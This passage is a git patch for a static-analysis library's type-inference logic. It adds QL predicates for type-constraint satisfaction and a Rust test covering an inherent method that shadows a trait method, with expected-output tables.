pragma[nomagic] + private predicate typeCondition(Type type, TypeAbstraction abs, TypeMention lhs) { + conditionSatisfiesConstraint(abs, lhs, _) and type = resolveTypeMentionRoot(lhs) + } + + pragma[nomagic] + private predicate typeConstraint(Type type, TypeMention rhs) { + conditionSatisfiesConstraint(_, _, rhs) and type = resolveTypeMentionRoot(rhs) + } + + predicate potentialInstantiationOf( + TypeMention condition, TypeAbstraction abs, TypeMention constraint + ) { + exists(Type type | + typeConstraint(type, condition) and typeCondition(type, abs, constraint) + ) + } + } + + // The type mention `condition` satisfies `constraint` with the type `t` at the path `path`. + predicate conditionSatisfiesConstraintTypeAt( + TypeAbstraction abs, TypeMention condition, TypeMention constraint, TypePath path, Type t + ) { + // base case + conditionSatisfiesConstraint(abs, condition, constraint) and + constraint.resolveTypeAt(path) = t + or + // recursive case + exists(TypeAbstraction midAbs, TypeMention midSup, TypeMention midSub | + conditionSatisfiesConstraint(abs, condition, midSup) and + // NOTE: `midAbs` describe the free type variables in `midSub`, hence + // we use that for instantiation check. + IsInstantiationOf::isInstantiationOf(midSup, midAbs, + midSub) and + ( + conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, path, t) and + not t = abs.getATypeParameter() + or + exists(TypePath prefix, TypePath suffix, TypeParameter tp | + tp = abs.getATypeParameter() and + conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, prefix, tp) and + instantiatesWith(midSup, midSub, tp, suffix, t) and + path = prefix.append(suffix) + ) + ) + ) + } + + /** + * Holds if its possible for a type with `conditionRoot` at the root to + * satisfy a constraint with `constraintRoot` at the root through `abs`, + * `condition`, and `constraint`. + */ + predicate rootTypesSatisfaction( + Type conditionRoot, Type constraintRoot, TypeAbstraction abs, TypeMention condition, + TypeMention constraint + ) { + conditionSatisfiesConstraintTypeAt(abs, condition, constraint, _, _) and + conditionRoot = resolveTypeMentionRoot(condition) and + constraintRoot = resolveTypeMentionRoot(constraint) + } + + /** + * Gets the number of ways in which it is possible for a type with + * `conditionRoot` at the root to satisfy a constraint with + * `constraintRoot` at the root. + */ + int countConstraintImplementations(Type conditionRoot, Type constraintRoot) { + result = + strictcount(TypeAbstraction abs, TypeMention tm, TypeMention constraint | + rootTypesSatisfaction(conditionRoot, constraintRoot, abs, tm, constraint) + | + constraint + ) + } + /** * Holds if `baseMention` is a (transitive) base type mention of `sub`, * and `t` is mentioned (implicitly) at `path` inside `baseMention`. For @@ -528,24 +851,19 @@ module Make1 Input1> { * Holds if inferring types at `a` might depend on the type at `path` of * `apos` having `base` as a transitive base type. */ - private predicate relevantAccess(Access a, AccessPosition apos, TypePath path, Type base) { + private predicate relevantAccess(Access a, AccessPosition apos, Type base) { exists(Declaration target, DeclarationPosition dpos | adjustedAccessType(a, apos, target, _, _) and - accessDeclarationPositionMatch(apos, dpos) - | - path.isEmpty() and declarationBaseType(target, dpos, base, _, _) - or - typeParameterConstraintHasTypeParameter(target, dpos, path, _, base, _, _) + accessDeclarationPositionMatch(apos, dpos) and + declarationBaseType(target, dpos, base, _, _) ) } pragma[nomagic] - private Type inferTypeAt( - Access a, AccessPosition apos, TypePath prefix, TypeParameter tp, TypePath suffix - ) { - relevantAccess(a, apos, prefix, _) and + private Type inferTypeAt(Access a, AccessPosition apos, TypeParameter tp, TypePath suffix) { + relevantAccess(a, apos, _) and exists(TypePath path0 | - result = a.getInferredType(apos, prefix.append(path0)) and + result = a.getInferredType(apos, path0) and path0.isCons(tp, suffix) ) } @@ -581,24 +899,128 @@ module Make1 Input1> { * `Base>` | `"T2.T1"` | ``C`1`` * `Base>` | `"T2.T1.T1"` | `int` */ - pragma[nomagic] predicate hasBaseTypeMention( - Access a, AccessPosition apos, TypePath pathToSub, TypeMention baseMention, TypePath path, - Type t + Access a, AccessPosition apos, TypeMention baseMention, TypePath path, Type t ) { - relevantAccess(a, apos, pathToSub, resolveTypeMentionRoot(baseMention)) and - exists(Type sub | sub = a.getInferredType(apos, pathToSub) | + relevantAccess(a, apos, resolveTypeMentionRoot(baseMention)) and + exists(Type sub | sub = a.getInferredType(apos, TypePath::nil()) | baseTypeMentionHasNonTypeParameterAt(sub, baseMention, path, t) or exists(TypePath prefix, TypePath suffix, TypeParameter tp | baseTypeMentionHasTypeParameterAt(sub, baseMention, prefix, tp) and - t = inferTypeAt(a, apos, pathToSub, tp, suffix) and + t = inferTypeAt(a, apos, tp, suffix) and path = prefix.append(suffix) ) ) } } + private module AccessConstraint { + private newtype TTRelevantAccess = + TRelevantAccess(Access a, AccessPosition apos, TypePath path, Type constraint) { + exists(DeclarationPosition dpos | + accessDeclarationPositionMatch(apos, dpos) and + typeParameterConstraintHasTypeParameter(a.getTarget(), dpos, path, _, constraint, _, _) + ) + } + + /** + * If the access `a` for `apos` and `path` has the inferred root type + * `type` and type inference requires it to satisfy the constraint + * `constraint`. + */ + private class RelevantAccess extends TTRelevantAccess { + Access a; + AccessPosition apos; + TypePath path; + Type constraint0; + + RelevantAccess() { this = TRelevantAccess(a, apos, path, constraint0) } + + Type resolveTypeAt(TypePath suffix) { + a.getInferredType(apos, path.append(suffix)) = result + } + + /** Holds if this relevant access has the type `type` and should satisfy `constraint`. */ + predicate hasTypeConstraint(Type type, Type constraint) { + type = a.getInferredType(apos, path) and + constraint = constraint0 + } + + string toString() { + result = a.toString() + ", " + apos.toString() + ", " + path.toString() + } + + Location getLocation() { result = a.getLocation() } + } + + private module IsInstantiationOfInput implements IsInstantiationOfSig { + predicate potentialInstantiationOf( + RelevantAccess at, TypeAbstraction abs, TypeMention cond + ) { + exists(Type constraint, Type type | + at.hasTypeConstraint(type, constraint) and + rootTypesSatisfaction(type, constraint, abs, cond, _) and + // We only need to check instantiations where there are multiple candidates. + countConstraintImplementations(type, constraint) > 1 + ) + } + } + + /** + * Holds if `at` satisfies `constraint` through `abs`, `sub`, and `constraintMention`. + */ + private predicate hasConstraintMention( + RelevantAccess at, TypeAbstraction abs, TypeMention sub, TypeMention constraintMention + ) { + exists(Type type, Type constraint | at.hasTypeConstraint(type, constraint) | + not exists(countConstraintImplementations(type, constraint)) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, _, _) and + resolveTypeMentionRoot(sub) = abs.getATypeParameter() and + constraint = resolveTypeMentionRoot(constraintMention) + or + countConstraintImplementations(type, constraint) > 0 and + rootTypesSatisfaction(type, constraint, abs, sub, constraintMention) and + // When there are multiple ways the type could implement the + // constraint we need to find the right implementation, which is the + // one where the type instantiates the precondition. + if countConstraintImplementations(type, constraint) > 1 + then + IsInstantiationOf::isInstantiationOf(at, abs, + sub) + else any() + ) + } + + /** + * Holds if the type at `a`, `apos`, and `path` satisfies the constraint + * `constraint` with the type `t` at `path`. + */ + pragma[nomagic] + predicate satisfiesConstraintTypeMention( + Access a, AccessPosition apos, TypePath prefix, Type constraint, TypePath path, Type t + ) { + exists( + RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type t0, TypePath prefix0, + TypeMention constraintMention + | + at = TRelevantAccess(a, apos, prefix, constraint) and + hasConstraintMention(at, abs, sub, constraintMention) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, prefix0, t0) and + ( + not t0 = abs.getATypeParameter() and t = t0 and path = prefix0 + or + t0 = abs.getATypeParameter() and + exists(TypePath path3, TypePath suffix | + sub.resolveTypeAt(path3) = t0 and + at.resolveTypeAt(path3.append(suffix)) = t and + path = prefix0.append(suffix) + ) + ) + ) + } + } + /** * Holds if the type of `a` at `apos` has the base type `base`, and when * viewed as an element of that type has the type `t` at `path`. @@ -608,7 +1030,7 @@ module Make1 Input1> { Access a, AccessPosition apos, Type base, TypePath path, Type t ) { exists(TypeMention tm | - AccessBaseType::hasBaseTypeMention(a, apos, TypePath::nil(), tm, path, t) and + AccessBaseType::hasBaseTypeMention(a, apos, tm, path, t) and base = resolveTypeMentionRoot(tm) ) } @@ -712,7 +1134,7 @@ module Make1 Input1> { tp1 != tp2 and tp1 = target.getDeclaredType(dpos, path1) and exists(TypeMention tm | - tm = getABaseTypeMention(tp1) and + tm = getTypeParameterConstraint(tp1) and tm.resolveTypeAt(path2) = tp2 and constraint = resolveTypeMentionRoot(tm) ) @@ -725,13 +1147,14 @@ module Make1 Input1> { not exists(getTypeArgument(a, target, tp, _)) and target = a.getTarget() and exists( - TypeMention base, AccessPosition apos, DeclarationPosition dpos, TypePath pathToTp, + Type constraint, AccessPosition apos, DeclarationPosition dpos, TypePath pathToTp, TypePath pathToTp2 | accessDeclarationPositionMatch(apos, dpos) and - typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _, - resolveTypeMentionRoot(base), pathToTp, tp) and - AccessBaseType::hasBaseTypeMention(a, apos, pathToTp2, base, pathToTp.append(path), t) + typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _, constraint, pathToTp, + tp) and + AccessConstraint::satisfiesConstraintTypeMention(a, apos, pathToTp2, constraint, + pathToTp.append(path), t) ) } @@ -749,7 +1172,7 @@ module Make1 Input1> { // We can infer the type of `tp` by going up the type hiearchy baseTypeMatch(a, target, path, t, tp) or - // We can infer the type of `tp` by a type bound + // We can infer the type of `tp` by a type constraint typeConstraintBaseTypeMatch(a, target, path, t, tp) } @@ -811,7 +1234,7 @@ module Make1 Input1> { } } - /** Provides consitency checks. */ + /** Provides consistency checks. */ module Consistency { query predicate missingTypeParameterId(TypeParameter tp) { not exists(getTypeParameterId(tp)) From 4513106a354f331be2174fe151b438558f798098 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 29 Apr 2025 13:22:41 +0200 Subject: [PATCH 036/535] Rust: Add type inference test for inherent implementation shadowing trait implementation --- .../PathResolutionConsistency.expected | 5 + .../test/library-tests/type-inference/main.rs | 41 + .../type-inference/type-inference.expected | 1852 +++++++++-------- 3 files changed, 982 insertions(+), 916 deletions(-) create mode 100644 rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..a16a01ba2e9e --- /dev/null +++ b/rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,5 @@ +multipleMethodCallTargets +| main.rs:401:26:401:42 | x.common_method() | main.rs:376:9:379:9 | fn common_method | +| main.rs:401:26:401:42 | x.common_method() | main.rs:388:9:391:9 | fn common_method | +| main.rs:402:26:402:44 | x.common_method_2() | main.rs:381:9:384:9 | fn common_method_2 | +| main.rs:402:26:402:44 | x.common_method_2() | main.rs:393:9:396:9 | fn common_method_2 | diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 84518bfd6104..bdaa7f94e513 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -362,6 +362,47 @@ mod method_non_parametric_trait_impl { } } +mod impl_overlap { + #[derive(Debug, Clone, Copy)] + struct S1; + + trait OverlappingTrait { + fn common_method(self) -> S1; + + fn common_method_2(self, s1: S1) -> S1; + } + + impl OverlappingTrait for S1 { + // ::common_method + fn common_method(self) -> S1 { + panic!("not called"); + } + + // ::common_method_2 + fn common_method_2(self, s1: S1) -> S1 { + panic!("not called"); + } + } + + impl S1 { + // S1::common_method + fn common_method(self) -> S1 { + self + } + + // S1::common_method_2 + fn common_method_2(self) -> S1 { + self + } + } + + pub fn f() { + let x = S1; + println!("{:?}", x.common_method()); // $ method=S1::common_method SPURIOUS: method=::common_method + println!("{:?}", x.common_method_2()); // $ method=S1::common_method_2 SPURIOUS: method=::common_method_2 + } +} + mod type_parameter_bounds { use std::fmt::Debug; diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 71681743f3fe..c2625e0c98e4 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -458,919 +458,939 @@ inferType | main.rs:361:17:361:33 | convert_to(...) | | main.rs:155:5:156:14 | S1 | | main.rs:361:28:361:32 | thing | | main.rs:144:5:147:5 | MyThing | | main.rs:361:28:361:32 | thing | A | main.rs:155:5:156:14 | S1 | -| main.rs:378:19:378:22 | SelfParam | | main.rs:376:5:379:5 | Self [trait FirstTrait] | -| main.rs:383:19:383:22 | SelfParam | | main.rs:381:5:384:5 | Self [trait SecondTrait] | -| main.rs:386:64:386:64 | x | | main.rs:386:45:386:61 | T | -| main.rs:388:13:388:14 | s1 | | main.rs:386:35:386:42 | I | -| main.rs:388:18:388:18 | x | | main.rs:386:45:386:61 | T | -| main.rs:388:18:388:27 | x.method() | | main.rs:386:35:386:42 | I | -| main.rs:389:26:389:27 | s1 | | main.rs:386:35:386:42 | I | -| main.rs:392:65:392:65 | x | | main.rs:392:46:392:62 | T | -| main.rs:394:13:394:14 | s2 | | main.rs:392:36:392:43 | I | -| main.rs:394:18:394:18 | x | | main.rs:392:46:392:62 | T | -| main.rs:394:18:394:27 | x.method() | | main.rs:392:36:392:43 | I | -| main.rs:395:26:395:27 | s2 | | main.rs:392:36:392:43 | I | -| main.rs:398:49:398:49 | x | | main.rs:398:30:398:46 | T | -| main.rs:399:13:399:13 | s | | main.rs:368:5:369:14 | S1 | -| main.rs:399:17:399:17 | x | | main.rs:398:30:398:46 | T | -| main.rs:399:17:399:26 | x.method() | | main.rs:368:5:369:14 | S1 | -| main.rs:400:26:400:26 | s | | main.rs:368:5:369:14 | S1 | -| main.rs:403:53:403:53 | x | | main.rs:403:34:403:50 | T | -| main.rs:404:13:404:13 | s | | main.rs:368:5:369:14 | S1 | -| main.rs:404:17:404:17 | x | | main.rs:403:34:403:50 | T | -| main.rs:404:17:404:26 | x.method() | | main.rs:368:5:369:14 | S1 | -| main.rs:405:26:405:26 | s | | main.rs:368:5:369:14 | S1 | -| main.rs:409:16:409:19 | SelfParam | | main.rs:408:5:412:5 | Self [trait Pair] | -| main.rs:411:16:411:19 | SelfParam | | main.rs:408:5:412:5 | Self [trait Pair] | -| main.rs:414:58:414:58 | x | | main.rs:414:41:414:55 | T | -| main.rs:414:64:414:64 | y | | main.rs:414:41:414:55 | T | -| main.rs:416:13:416:14 | s1 | | main.rs:368:5:369:14 | S1 | -| main.rs:416:18:416:18 | x | | main.rs:414:41:414:55 | T | -| main.rs:416:18:416:24 | x.fst() | | main.rs:368:5:369:14 | S1 | -| main.rs:417:13:417:14 | s2 | | main.rs:371:5:372:14 | S2 | -| main.rs:417:18:417:18 | y | | main.rs:414:41:414:55 | T | -| main.rs:417:18:417:24 | y.snd() | | main.rs:371:5:372:14 | S2 | -| main.rs:418:32:418:33 | s1 | | main.rs:368:5:369:14 | S1 | -| main.rs:418:36:418:37 | s2 | | main.rs:371:5:372:14 | S2 | -| main.rs:421:69:421:69 | x | | main.rs:421:52:421:66 | T | -| main.rs:421:75:421:75 | y | | main.rs:421:52:421:66 | T | -| main.rs:423:13:423:14 | s1 | | main.rs:368:5:369:14 | S1 | -| main.rs:423:18:423:18 | x | | main.rs:421:52:421:66 | T | -| main.rs:423:18:423:24 | x.fst() | | main.rs:368:5:369:14 | S1 | -| main.rs:424:13:424:14 | s2 | | main.rs:421:41:421:49 | T2 | -| main.rs:424:18:424:18 | y | | main.rs:421:52:421:66 | T | -| main.rs:424:18:424:24 | y.snd() | | main.rs:421:41:421:49 | T2 | -| main.rs:425:32:425:33 | s1 | | main.rs:368:5:369:14 | S1 | -| main.rs:425:36:425:37 | s2 | | main.rs:421:41:421:49 | T2 | -| main.rs:441:15:441:18 | SelfParam | | main.rs:440:5:449:5 | Self [trait MyTrait] | -| main.rs:443:15:443:18 | SelfParam | | main.rs:440:5:449:5 | Self [trait MyTrait] | -| main.rs:446:9:448:9 | { ... } | | main.rs:440:19:440:19 | A | -| main.rs:447:13:447:16 | self | | main.rs:440:5:449:5 | Self [trait MyTrait] | -| main.rs:447:13:447:21 | self.m1() | | main.rs:440:19:440:19 | A | -| main.rs:452:43:452:43 | x | | main.rs:452:26:452:40 | T2 | -| main.rs:452:56:454:5 | { ... } | | main.rs:452:22:452:23 | T1 | -| main.rs:453:9:453:9 | x | | main.rs:452:26:452:40 | T2 | -| main.rs:453:9:453:14 | x.m1() | | main.rs:452:22:452:23 | T1 | -| main.rs:457:49:457:49 | x | | main.rs:430:5:433:5 | MyThing | -| main.rs:457:49:457:49 | x | T | main.rs:457:32:457:46 | T2 | -| main.rs:457:71:459:5 | { ... } | | main.rs:457:28:457:29 | T1 | -| main.rs:458:9:458:9 | x | | main.rs:430:5:433:5 | MyThing | -| main.rs:458:9:458:9 | x | T | main.rs:457:32:457:46 | T2 | -| main.rs:458:9:458:11 | x.a | | main.rs:457:32:457:46 | T2 | -| main.rs:458:9:458:16 | ... .m1() | | main.rs:457:28:457:29 | T1 | -| main.rs:462:15:462:18 | SelfParam | | main.rs:430:5:433:5 | MyThing | -| main.rs:462:15:462:18 | SelfParam | T | main.rs:461:10:461:10 | T | -| main.rs:462:26:464:9 | { ... } | | main.rs:461:10:461:10 | T | -| main.rs:463:13:463:16 | self | | main.rs:430:5:433:5 | MyThing | -| main.rs:463:13:463:16 | self | T | main.rs:461:10:461:10 | T | -| main.rs:463:13:463:18 | self.a | | main.rs:461:10:461:10 | T | -| main.rs:468:13:468:13 | x | | main.rs:430:5:433:5 | MyThing | -| main.rs:468:13:468:13 | x | T | main.rs:435:5:436:14 | S1 | -| main.rs:468:17:468:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:468:17:468:33 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | -| main.rs:468:30:468:31 | S1 | | main.rs:435:5:436:14 | S1 | -| main.rs:469:13:469:13 | y | | main.rs:430:5:433:5 | MyThing | -| main.rs:469:13:469:13 | y | T | main.rs:437:5:438:14 | S2 | -| main.rs:469:17:469:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:469:17:469:33 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | -| main.rs:469:30:469:31 | S2 | | main.rs:437:5:438:14 | S2 | -| main.rs:471:26:471:26 | x | | main.rs:430:5:433:5 | MyThing | -| main.rs:471:26:471:26 | x | T | main.rs:435:5:436:14 | S1 | -| main.rs:471:26:471:31 | x.m1() | | main.rs:435:5:436:14 | S1 | -| main.rs:472:26:472:26 | y | | main.rs:430:5:433:5 | MyThing | -| main.rs:472:26:472:26 | y | T | main.rs:437:5:438:14 | S2 | -| main.rs:472:26:472:31 | y.m1() | | main.rs:437:5:438:14 | S2 | -| main.rs:474:13:474:13 | x | | main.rs:430:5:433:5 | MyThing | -| main.rs:474:13:474:13 | x | T | main.rs:435:5:436:14 | S1 | -| main.rs:474:17:474:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:474:17:474:33 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | -| main.rs:474:30:474:31 | S1 | | main.rs:435:5:436:14 | S1 | -| main.rs:475:13:475:13 | y | | main.rs:430:5:433:5 | MyThing | -| main.rs:475:13:475:13 | y | T | main.rs:437:5:438:14 | S2 | -| main.rs:475:17:475:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:475:17:475:33 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | -| main.rs:475:30:475:31 | S2 | | main.rs:437:5:438:14 | S2 | -| main.rs:477:26:477:26 | x | | main.rs:430:5:433:5 | MyThing | -| main.rs:477:26:477:26 | x | T | main.rs:435:5:436:14 | S1 | -| main.rs:477:26:477:31 | x.m2() | | main.rs:435:5:436:14 | S1 | -| main.rs:478:26:478:26 | y | | main.rs:430:5:433:5 | MyThing | -| main.rs:478:26:478:26 | y | T | main.rs:437:5:438:14 | S2 | -| main.rs:478:26:478:31 | y.m2() | | main.rs:437:5:438:14 | S2 | -| main.rs:480:13:480:14 | x2 | | main.rs:430:5:433:5 | MyThing | -| main.rs:480:13:480:14 | x2 | T | main.rs:435:5:436:14 | S1 | -| main.rs:480:18:480:34 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:480:18:480:34 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | -| main.rs:480:31:480:32 | S1 | | main.rs:435:5:436:14 | S1 | -| main.rs:481:13:481:14 | y2 | | main.rs:430:5:433:5 | MyThing | -| main.rs:481:13:481:14 | y2 | T | main.rs:437:5:438:14 | S2 | -| main.rs:481:18:481:34 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:481:18:481:34 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | -| main.rs:481:31:481:32 | S2 | | main.rs:437:5:438:14 | S2 | -| main.rs:483:26:483:42 | call_trait_m1(...) | | main.rs:435:5:436:14 | S1 | -| main.rs:483:40:483:41 | x2 | | main.rs:430:5:433:5 | MyThing | -| main.rs:483:40:483:41 | x2 | T | main.rs:435:5:436:14 | S1 | -| main.rs:484:26:484:42 | call_trait_m1(...) | | main.rs:437:5:438:14 | S2 | -| main.rs:484:40:484:41 | y2 | | main.rs:430:5:433:5 | MyThing | -| main.rs:484:40:484:41 | y2 | T | main.rs:437:5:438:14 | S2 | -| main.rs:486:13:486:14 | x3 | | main.rs:430:5:433:5 | MyThing | -| main.rs:486:13:486:14 | x3 | T | main.rs:430:5:433:5 | MyThing | -| main.rs:486:13:486:14 | x3 | T.T | main.rs:435:5:436:14 | S1 | -| main.rs:486:18:488:9 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:486:18:488:9 | MyThing {...} | T | main.rs:430:5:433:5 | MyThing | -| main.rs:486:18:488:9 | MyThing {...} | T.T | main.rs:435:5:436:14 | S1 | -| main.rs:487:16:487:32 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:487:16:487:32 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | -| main.rs:487:29:487:30 | S1 | | main.rs:435:5:436:14 | S1 | -| main.rs:489:13:489:14 | y3 | | main.rs:430:5:433:5 | MyThing | -| main.rs:489:13:489:14 | y3 | T | main.rs:430:5:433:5 | MyThing | -| main.rs:489:13:489:14 | y3 | T.T | main.rs:437:5:438:14 | S2 | -| main.rs:489:18:491:9 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:489:18:491:9 | MyThing {...} | T | main.rs:430:5:433:5 | MyThing | -| main.rs:489:18:491:9 | MyThing {...} | T.T | main.rs:437:5:438:14 | S2 | -| main.rs:490:16:490:32 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | -| main.rs:490:16:490:32 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | -| main.rs:490:29:490:30 | S2 | | main.rs:437:5:438:14 | S2 | -| main.rs:493:13:493:13 | a | | main.rs:435:5:436:14 | S1 | -| main.rs:493:17:493:39 | call_trait_thing_m1(...) | | main.rs:435:5:436:14 | S1 | -| main.rs:493:37:493:38 | x3 | | main.rs:430:5:433:5 | MyThing | -| main.rs:493:37:493:38 | x3 | T | main.rs:430:5:433:5 | MyThing | -| main.rs:493:37:493:38 | x3 | T.T | main.rs:435:5:436:14 | S1 | -| main.rs:494:26:494:26 | a | | main.rs:435:5:436:14 | S1 | -| main.rs:495:13:495:13 | b | | main.rs:437:5:438:14 | S2 | -| main.rs:495:17:495:39 | call_trait_thing_m1(...) | | main.rs:437:5:438:14 | S2 | -| main.rs:495:37:495:38 | y3 | | main.rs:430:5:433:5 | MyThing | -| main.rs:495:37:495:38 | y3 | T | main.rs:430:5:433:5 | MyThing | -| main.rs:495:37:495:38 | y3 | T.T | main.rs:437:5:438:14 | S2 | -| main.rs:496:26:496:26 | b | | main.rs:437:5:438:14 | S2 | -| main.rs:507:19:507:22 | SelfParam | | main.rs:501:5:504:5 | Wrapper | -| main.rs:507:19:507:22 | SelfParam | A | main.rs:506:10:506:10 | A | -| main.rs:507:30:509:9 | { ... } | | main.rs:506:10:506:10 | A | -| main.rs:508:13:508:16 | self | | main.rs:501:5:504:5 | Wrapper | -| main.rs:508:13:508:16 | self | A | main.rs:506:10:506:10 | A | -| main.rs:508:13:508:22 | self.field | | main.rs:506:10:506:10 | A | -| main.rs:516:15:516:18 | SelfParam | | main.rs:512:5:526:5 | Self [trait MyTrait] | -| main.rs:518:15:518:18 | SelfParam | | main.rs:512:5:526:5 | Self [trait MyTrait] | -| main.rs:522:9:525:9 | { ... } | | main.rs:513:9:513:28 | AssociatedType | -| main.rs:523:13:523:16 | self | | main.rs:512:5:526:5 | Self [trait MyTrait] | -| main.rs:523:13:523:21 | self.m1() | | main.rs:513:9:513:28 | AssociatedType | -| main.rs:524:13:524:43 | ...::default(...) | | main.rs:513:9:513:28 | AssociatedType | -| main.rs:532:19:532:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:532:19:532:23 | SelfParam | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | -| main.rs:532:26:532:26 | a | | main.rs:532:16:532:16 | A | -| main.rs:534:22:534:26 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:534:22:534:26 | SelfParam | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | -| main.rs:534:29:534:29 | a | | main.rs:534:19:534:19 | A | -| main.rs:534:35:534:35 | b | | main.rs:534:19:534:19 | A | -| main.rs:534:75:537:9 | { ... } | | main.rs:529:9:529:52 | GenericAssociatedType | -| main.rs:535:13:535:16 | self | | file://:0:0:0:0 | & | -| main.rs:535:13:535:16 | self | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | -| main.rs:535:13:535:23 | self.put(...) | | main.rs:529:9:529:52 | GenericAssociatedType | -| main.rs:535:22:535:22 | a | | main.rs:534:19:534:19 | A | -| main.rs:536:13:536:16 | self | | file://:0:0:0:0 | & | -| main.rs:536:13:536:16 | self | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | -| main.rs:536:13:536:23 | self.put(...) | | main.rs:529:9:529:52 | GenericAssociatedType | -| main.rs:536:22:536:22 | b | | main.rs:534:19:534:19 | A | -| main.rs:545:21:545:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:545:21:545:25 | SelfParam | &T | main.rs:540:5:550:5 | Self [trait TraitMultipleAssoc] | -| main.rs:547:20:547:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:547:20:547:24 | SelfParam | &T | main.rs:540:5:550:5 | Self [trait TraitMultipleAssoc] | -| main.rs:549:20:549:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:549:20:549:24 | SelfParam | &T | main.rs:540:5:550:5 | Self [trait TraitMultipleAssoc] | -| main.rs:565:15:565:18 | SelfParam | | main.rs:552:5:553:13 | S | -| main.rs:565:45:567:9 | { ... } | | main.rs:558:5:559:14 | AT | -| main.rs:566:13:566:14 | AT | | main.rs:558:5:559:14 | AT | -| main.rs:575:19:575:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:575:19:575:23 | SelfParam | &T | main.rs:552:5:553:13 | S | -| main.rs:575:26:575:26 | a | | main.rs:575:16:575:16 | A | -| main.rs:575:46:577:9 | { ... } | | main.rs:501:5:504:5 | Wrapper | -| main.rs:575:46:577:9 | { ... } | A | main.rs:575:16:575:16 | A | -| main.rs:576:13:576:32 | Wrapper {...} | | main.rs:501:5:504:5 | Wrapper | -| main.rs:576:13:576:32 | Wrapper {...} | A | main.rs:575:16:575:16 | A | -| main.rs:576:30:576:30 | a | | main.rs:575:16:575:16 | A | -| main.rs:584:15:584:18 | SelfParam | | main.rs:555:5:556:14 | S2 | -| main.rs:584:45:586:9 | { ... } | | main.rs:501:5:504:5 | Wrapper | -| main.rs:584:45:586:9 | { ... } | A | main.rs:555:5:556:14 | S2 | -| main.rs:585:13:585:35 | Wrapper {...} | | main.rs:501:5:504:5 | Wrapper | -| main.rs:585:13:585:35 | Wrapper {...} | A | main.rs:555:5:556:14 | S2 | -| main.rs:585:30:585:33 | self | | main.rs:555:5:556:14 | S2 | -| main.rs:591:30:593:9 | { ... } | | main.rs:501:5:504:5 | Wrapper | -| main.rs:591:30:593:9 | { ... } | A | main.rs:555:5:556:14 | S2 | -| main.rs:592:13:592:33 | Wrapper {...} | | main.rs:501:5:504:5 | Wrapper | -| main.rs:592:13:592:33 | Wrapper {...} | A | main.rs:555:5:556:14 | S2 | -| main.rs:592:30:592:31 | S2 | | main.rs:555:5:556:14 | S2 | -| main.rs:597:22:597:26 | thing | | main.rs:597:10:597:19 | T | -| main.rs:598:9:598:13 | thing | | main.rs:597:10:597:19 | T | -| main.rs:605:21:605:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:605:21:605:25 | SelfParam | &T | main.rs:558:5:559:14 | AT | -| main.rs:605:34:607:9 | { ... } | | main.rs:558:5:559:14 | AT | -| main.rs:606:13:606:14 | AT | | main.rs:558:5:559:14 | AT | -| main.rs:609:20:609:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:609:20:609:24 | SelfParam | &T | main.rs:558:5:559:14 | AT | -| main.rs:609:43:611:9 | { ... } | | main.rs:552:5:553:13 | S | -| main.rs:610:13:610:13 | S | | main.rs:552:5:553:13 | S | -| main.rs:613:20:613:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:613:20:613:24 | SelfParam | &T | main.rs:558:5:559:14 | AT | -| main.rs:613:43:615:9 | { ... } | | main.rs:555:5:556:14 | S2 | -| main.rs:614:13:614:14 | S2 | | main.rs:555:5:556:14 | S2 | -| main.rs:619:13:619:14 | x1 | | main.rs:552:5:553:13 | S | -| main.rs:619:18:619:18 | S | | main.rs:552:5:553:13 | S | -| main.rs:621:26:621:27 | x1 | | main.rs:552:5:553:13 | S | -| main.rs:621:26:621:32 | 